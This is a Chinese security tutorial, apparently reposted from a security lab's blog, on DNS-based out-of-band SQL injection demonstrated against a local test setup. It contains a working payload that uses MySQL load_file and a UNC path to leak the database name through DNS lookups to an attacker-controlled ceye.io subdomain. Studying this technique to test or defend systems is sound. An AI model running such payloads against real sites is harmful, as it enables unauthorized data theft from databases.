前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Dns注入

Dns注入

作者头像
Ms08067安全实验室
发布2019-09-25 08:16:24
2K0
发布2019-09-25 08:16:24
举报

为什么要使用DNS注入?

盲注跑数据太慢的情况下,可以选择DNS注入

DNS注入的原理?

域名DNS指向的是我们服务器的域名,意味着解析域名时需向DNS服务器查询。通过递归查询可以获取数据库上的信息。要记住整个域名内的节点标签被限制在63个字符长度大小。

使用条件:

1. 有sql注入点

2. 该站点的load_file可以使用

演示:

本地搭建phpstudy环境

然后注册一个ceye.io的账号,作为dns注入的平台

用到的东西呢就是下图中画圈的

这是一个域名:

分析一下:

Ceye.io 就不用说了,

前面的 xxxx.ceye.io是你的个人域名

Dns注入最后的效果呢就是在xxxx.ceye.io前面显示你注入的结果。例如:

你得到的数据库是test

那么效果则是:test.xxxx.ceye.io

好的,废话不多说,实例演示

使用到的语句呢就是下面这条:

and if((select load_file(concat('\\\\',(select database()),'.eq6w9l.ceye.io\\abc'))),1,0)

分析一下:

And 就不多说了,连接前后语句嘛!

If(1,2,3)这个函数,里面是三个条件,如果1这个位置是true那么执行2位置语句,否则执行3位置语句。

我们都知道,load_file是可以读取文件的,那么,我们把这个文件换成可执行的语句呢?

再说一个小知识点,\\xxxxx.xxxxxx

如果说我们在下图位置写这个东西呢,就会执行这个后面的域名吧!

同理,你在load_file中写这个也是会执行的,所以就利用这个特点进行的dns注入。

'\\\\',(select database()),'.eq6w9l.ceye.io\\abc'

首先前面的\\\\实际上是两个\其中两个是作为转义符号来的,然后(select database())是真正的执行语句,然后后面拼接上你的域名,最后面加的\\abc,实例发现,后面不加\\abc或者\\其他字符是无法进行dns注入的,必须加上\\abc或者\\aaa等等都可以,但是记住一定要加。

Ok,payload已经写好了,就执行吧!

效果

那么究竟对不对呢?

我们联合注入看一下:

Dns注入呢到这里基本已经算是ok了!

其他的语句也同样一样!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档